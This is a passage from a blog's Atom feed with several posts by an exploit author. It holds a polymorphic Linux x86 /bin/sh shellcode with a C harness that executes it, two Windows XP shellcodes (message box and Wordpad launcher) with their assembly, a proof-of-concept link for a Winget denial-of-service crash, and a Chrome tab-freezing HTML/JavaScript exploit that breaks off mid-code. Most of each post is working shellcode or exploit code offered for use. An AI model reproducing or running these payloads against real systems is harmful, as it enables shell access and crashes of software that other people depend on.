device'/><author><name>Aodrulez</name><uri>http://www.blogger.com/profile/08183733756992832229</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='29' height='32' src='http://1.bp.blogspot.com/-dHuBECqQjHM/TgukjDCjDlI/AAAAAAAAAG4/8HEaTYqA5Ec/s220/Kewl.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7917578420665249631.post-532129340183663007</id><published>2011-03-05T10:23:00.000-08:00</published><updated>2011-10-23T07:55:53.673-07:00</updated><title type='text'>Linux x86 /bin/sh Null-Free Polymorphic Shellcode - 46 bytes</title><content type='html'>&lt;b&gt;&lt;script class="brush: cpp" type="syntaxhighlighter"&gt;&lt;br /&gt;/*&lt;br /&gt;Aodrulez's /bin/sh Null-Free Polymorphic Shellcode.&lt;br /&gt;Shellcode size : 46 bytes.&lt;br /&gt;[Special Tnx to 'Chema Garcia (aka sch3m4)']&lt;br /&gt;Tested on : Ubuntu 8.04,Hardy Heron.&lt;br /&gt;Email : f3arm3d3ar[at]gmail.com&lt;br /&gt;Author: Aodrulez. (Atul Alex Cherian)&lt;br /&gt;Blog : Aodrulez@blogspot.com&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;char code[] = "\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2"&lt;br /&gt;              "\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69"&lt;br /&gt;              "\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81";&lt;br /&gt;&lt;br /&gt;int main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;fprintf(stdout,"Aodrulez's Linux Polym0rphic Shellc0de.\nShellcode Size: %d bytes.\n",strlen(code));&lt;br /&gt;(*(void(*)()) code)();&lt;br /&gt;return 0;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;Greetz Fly Out to:-&lt;br /&gt;1] Amforked() : My Mentor.&lt;br /&gt;2] TheBlueGenius : My Boss ;-)&lt;br /&gt;3] www.orchidseven.com&lt;br /&gt;4] www.isac.org.in&lt;br /&gt;5] www.Malcon.org -&gt; World's first Malware Conference!&lt;br /&gt;*/&lt;br /&gt;&lt;/script&gt;&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7917578420665249631-532129340183663007?l=aodrulez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aodrulez.blogspot.com/feeds/532129340183663007/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7917578420665249631&amp;postID=532129340183663007' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/532129340183663007'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/532129340183663007'/><link rel='alternate' type='text/html' href='http://aodrulez.blogspot.com/2011/03/linux-x86-binsh-null-free-polymorphic_05.html' title='Linux x86 /bin/sh Null-Free Polymorphic Shellcode - 46 bytes'/><author><name>Aodrulez</name><uri>http://www.blogger.com/profile/08183733756992832229</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='29' height='32' src='http://1.bp.blogspot.com/-dHuBECqQjHM/TgukjDCjDlI/AAAAAAAAAG4/8HEaTYqA5Ec/s220/Kewl.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7917578420665249631.post-4633420755441966781</id><published>2009-11-12T03:32:00.000-08:00</published><updated>2009-11-12T03:37:53.134-08:00</updated><title type='text'>Windows XP Pro Sp2 English "Message-Box" Shellcode.</title><content type='html'>&lt;div&gt;Size             : 16 Bytes, Null-Free.&lt;/div&gt;&lt;div&gt;Author       : Aodrulez. &lt;/div&gt;&lt;div&gt;Email          : f3arm3d3ar@gmail.com&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Shellcode = &lt;span class="Apple-style-span"  style="color:#FF0000;"&gt;"\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#FF0000;"&gt;            "\xD8\x0A\x86\x7C\x51\x50\xFF\xd3"&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;+----------------+&lt;/div&gt;&lt;div&gt;|&lt;span class="Apple-style-span"  style="color:#FF0000;"&gt;  Description:   &lt;/span&gt;|&lt;/div&gt;&lt;div&gt;+----------------+&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;/div&gt;&lt;div&gt;I've used a Function called "FatalAppExit" from&lt;/div&gt;&lt;div&gt;kernel32.dll.The Benefits are Three-Fold!&lt;/div&gt;&lt;div&gt;1] Displays a MessageBox.&lt;/div&gt;&lt;div&gt;2] Terminates the Process. &lt;/div&gt;&lt;div&gt;3] Its there in Kernel32.dll itself.&lt;/div&gt;&lt;div&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;+--------------+&lt;/div&gt;&lt;div&gt;| &lt;span class="Apple-style-span"  style="color:#FF0000;"&gt;Asm Code:&lt;/span&gt; |&lt;/div&gt;&lt;div&gt;+--------------+&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;/div&gt;&lt;div&gt;shellcode:&lt;/div&gt;&lt;div&gt; &lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;      mov ecx,7c82dd38h ;"Admin" string in mem&lt;/div&gt;&lt;div&gt; &lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;      xor eax,eax&lt;/div&gt;&lt;div&gt; &lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;      mov ebx,7c860ad8h ;Addr of "FatalAppExit()" &lt;/div&gt;&lt;div&gt; &lt;span class="Apple-tab-span" style="white-space:pre"&gt;  &lt;/span&gt;push ecx          ;function from Kernel32&lt;/div&gt;&lt;div&gt; &lt;span class="Apple-tab-span" style="white-space:pre"&gt;  &lt;/span&gt;push eax          &lt;/div&gt;&lt;div&gt; &lt;span class="Apple-tab-span" style="white-space:pre"&gt;  &lt;/span&gt;call ebx          ;App does a Clean Exit.&lt;/div&gt;&lt;div&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;+-------------------+&lt;/div&gt;&lt;div&gt;| &lt;span class="Apple-style-span"  style="color:#FF0000;"&gt;Shellcodetest.c&lt;/span&gt; |&lt;/div&gt;&lt;div&gt;+-------------------+&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;char code[] = "\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"&lt;/div&gt;&lt;div&gt;                        "\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;int main(int argc, char **argv)&lt;/div&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;  &lt;/div&gt;&lt;div&gt;  int (*func)();&lt;/div&gt;&lt;div&gt;  func = (int (*)()) code;&lt;/div&gt;&lt;div&gt;  (int)(*func)();&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;+----------------------+&lt;/div&gt;&lt;div&gt;| &lt;span class="Apple-style-span"  style="color:#FF0000;"&gt;Greetz Fly Out To&lt;/span&gt; |&lt;/div&gt;&lt;div&gt;+----------------------+&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;/div&gt;&lt;div&gt;1] Amforked()&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt; : My Mentor.&lt;/div&gt;&lt;div&gt;2] The Blue Genius : My Boss.&lt;/div&gt;&lt;div&gt;3] www.orchidseven.com&lt;/div&gt;&lt;div&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7917578420665249631-4633420755441966781?l=aodrulez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aodrulez.blogspot.com/feeds/4633420755441966781/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7917578420665249631&amp;postID=4633420755441966781' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/4633420755441966781'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/4633420755441966781'/><link rel='alternate' type='text/html' href='http://aodrulez.blogspot.com/2009/11/windows-xp-pro-sp2-english-message-box.html' title='Windows XP Pro Sp2 English &quot;Message-Box&quot; Shellcode.'/><author><name>Aodrulez</name><uri>http://www.blogger.com/profile/08183733756992832229</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='29' height='32' src='http://1.bp.blogspot.com/-dHuBECqQjHM/TgukjDCjDlI/AAAAAAAAAG4/8HEaTYqA5Ec/s220/Kewl.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7917578420665249631.post-6279354979766261692</id><published>2009-11-06T07:41:00.000-08:00</published><updated>2009-11-06T07:53:57.888-08:00</updated><title type='text'>Windows XP Pro Sp2 English "Wordpad" Shellcode.</title><content type='html'>&lt;div&gt;Size         : 12 Bytes.&lt;/div&gt;&lt;div&gt;Author       : Aodrulez. &lt;/div&gt;&lt;div&gt;Email        : f3arm3d3ar@gmail.com&lt;/div&gt;&lt;div&gt;Milw0rm      : www.milw0rm.com/author/1620&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Shellcode =  &lt;b&gt; &lt;span class="Apple-style-span"  style="color:#FF0000;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;"\x68\x97\x4C\x80\x7C\xB8"&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#FF0000;"&gt;                      "\x4D\x11\x86\x7C\xFF\xD0";&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;+-------------------+&lt;/div&gt;&lt;div&gt;| &lt;span class="Apple-style-span"  style="color:#FF0000;"&gt;Shellcodetest.c&lt;/span&gt;  |&lt;/div&gt;&lt;div&gt;+-------------------+&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;/div&gt;&lt;div&gt;char code[] = "\x68\x97\x4C\x80\x7C\xB8"&lt;/div&gt;&lt;div&gt;              "\x4D\x11\x86\x7C\xFF\xD0";&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;int main(int argc, char **argv)&lt;/div&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;  &lt;/div&gt;&lt;div&gt;  int (*func)();&lt;/div&gt;&lt;div&gt;  func = (int (*)()) code;&lt;/div&gt;&lt;div&gt;  (int)(*func)();&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;+----------------------+&lt;/div&gt;&lt;div&gt;| &lt;span class="Apple-style-span"  style="color:#FF0000;"&gt;Greetz Fly Out To&lt;/span&gt; |&lt;/div&gt;&lt;div&gt;+----------------------+&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;/div&gt;&lt;div&gt;1] Amforked()&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt; : My Mentor.&lt;/div&gt;&lt;div&gt;2] The Blue Genius : My Boss.&lt;/div&gt;&lt;div&gt;3] Todd &amp;amp; Packetstormsecurity.org Staff :Tnx a Ton fellas!&lt;/div&gt;&lt;div&gt;3] www.orchidseven.com&lt;/div&gt;&lt;div&gt;4] www.isacm.org.in&lt;/div&gt;&lt;div&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;+---------------+&lt;/div&gt;&lt;div&gt;| &lt;span class="Apple-style-span"  style="color:#FF0000;"&gt;References :&lt;/span&gt; |&lt;/div&gt;&lt;div&gt;+---------------+&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;/div&gt;&lt;div&gt;1] &lt;a href="http://packetstormsecurity.org/filedesc/wordpad-shellcode.txt.html"&gt;http://packetstormsecurity.org/filedesc/wordpad-shellcode.txt.html&lt;/a&gt;&lt;/div&gt;&lt;div&gt;2] &lt;a href="http://www.shell-storm.org/shellcode/files/shellcode-513.php"&gt;http://www.shell-storm.org/shellcode/files/shellcode-513.php&lt;/a&gt;&lt;/div&gt;&lt;div&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7917578420665249631-6279354979766261692?l=aodrulez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aodrulez.blogspot.com/feeds/6279354979766261692/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7917578420665249631&amp;postID=6279354979766261692' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/6279354979766261692'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/6279354979766261692'/><link rel='alternate' type='text/html' href='http://aodrulez.blogspot.com/2009/11/windows-xp-pro-sp2-english-wordpad.html' title='Windows XP Pro Sp2 English &quot;Wordpad&quot; Shellcode.'/><author><name>Aodrulez</name><uri>http://www.blogger.com/profile/08183733756992832229</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='29' height='32' src='http://1.bp.blogspot.com/-dHuBECqQjHM/TgukjDCjDlI/AAAAAAAAAG4/8HEaTYqA5Ec/s220/Kewl.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7917578420665249631.post-3552462232235103925</id><published>2008-11-12T11:04:00.000-08:00</published><updated>2008-11-12T11:07:57.001-08:00</updated><title type='text'>Winget 3.0 Download Manager(Build 112) Local DOS Exploit PoC.</title><content type='html'>&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Developer: www.Indentix.com&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Tested On: Windows Xp Pro Sp2.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;By: Aodrulez.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;This download manager crashes completely when the attached&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;specially crafted files' contents are copied to System clipboard.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;To do this task,I've coded a simple app in Pure Masm32.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Usage:Start Winget, minimize its window &amp;amp; then run the &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;application.Make sure that Wingetpoc.txt lies in the same folder as&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;my exploit PoC app.You can also open the file &amp;amp; do a ctrl-A &amp;amp; then&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;ctrl-c n see Winget crash!&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;PoC:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;http://www.snapdrive.net/files/571814/wingetkiller.rar&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Greetz fly out to:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;1]LiquidWorm : For being so nice.....n guiding me.. :)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;2]str0ke : For goin thru all my silly e-mails.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;3]Amforked() : My mentor.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;4]OSRT :- This is dedicated to all the members!&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;------------------------------------------------------------------&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;By:       Aodrulez, &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;    www.OrchidSeven.com, &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;   aodrulez.blogspot.com.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Email: f3arm3d3ar@gmail.com&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7917578420665249631-3552462232235103925?l=aodrulez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aodrulez.blogspot.com/feeds/3552462232235103925/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7917578420665249631&amp;postID=3552462232235103925' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/3552462232235103925'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/3552462232235103925'/><link rel='alternate' type='text/html' href='http://aodrulez.blogspot.com/2008/11/winget-30-download-managerbuild-112.html' title='Winget 3.0 Download Manager(Build 112) Local DOS Exploit PoC.'/><author><name>Aodrulez</name><uri>http://www.blogger.com/profile/08183733756992832229</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='29' height='32' src='http://1.bp.blogspot.com/-dHuBECqQjHM/TgukjDCjDlI/AAAAAAAAAG4/8HEaTYqA5Ec/s220/Kewl.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7917578420665249631.post-136876123380044155</id><published>2008-11-12T10:40:00.001-08:00</published><updated>2008-11-12T10:45:18.519-08:00</updated><title type='text'>Google Chrome Text-Input based Tab freezing Exploit.</title><content type='html'>&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;By: Aodrulez.&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Google Chrome Version:0.2.149.30&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Tested on: Windows Xp Pro Sp2&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   Google Chrome's tab starts to act totally weird &amp;amp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;freezes when you try to open an html file as shown below.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Here, the actual problem is triggered by an Input box.. &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;to which a large String is fed.Try feeding a still larger&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;string &amp;amp; the tab will be totally useless.Tested &amp;amp; working almost&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;similarly on Opera 9.51,Win32 Platform.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;	&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Try removing this line:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;"document.form1.the_box.value = x;"&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;And all the above stated browsers run fine.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;PoC:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;-----------------------------------------------------------------------------------------------&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;html&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;head&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;b&gt;Aodrulez's Google Chrome Text-Input based Tab freezing Exploit.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;form name="form1"&gt;&lt;input type="text" name="the_box"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;input type="button" onclick="alert('Are you Sure the Text-Input Box is still working?')" value="Test Me!"&gt;&lt;/form&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;script&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;var x="";&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;for(i=0;i&lt;99999;i++)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;        {x=x+"0003DE30 0000 0000 0000 0000 0000 0000 0000 0000 ...............";}&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;br 